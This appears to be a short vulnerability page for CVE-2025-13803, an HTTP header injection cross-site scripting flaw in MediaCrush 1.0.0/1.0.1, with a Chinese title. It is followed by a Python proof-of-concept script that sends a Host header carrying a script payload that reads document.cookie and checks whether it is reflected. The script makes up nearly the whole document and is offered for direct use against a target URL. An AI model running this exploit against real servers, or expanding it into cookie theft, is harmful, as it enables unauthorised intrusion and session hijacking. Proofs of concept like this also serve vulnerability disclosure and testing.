CVE-2025-13803 MediaCrush HTTP头注入跨站脚本漏洞

import requests # CVE-2025-13803 PoC - MediaCrush HTTP Header Injection XSS # Target: MediaCrush 1.0.0/1.0.1 # Component: /mediacrush/paths.py Header Handler target_url = "http://target-server:5000" # Replace with actual target # Malicious Host header with XSS payload headers = { "Host": "<script>alert(document.cookie)</script>", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Accept": "text/html,application/xhtml+xml" } try: response = requests.get(target_url, headers=headers, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response Headers: {response.headers}") # Check if payload is reflected in response if "<script>alert" in response.text or "<script>alert" in str(response.headers): print("[+] VULNERABLE: XSS payload reflected in response") else: print("[-] May not be vulnerable or payload not reflected") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}")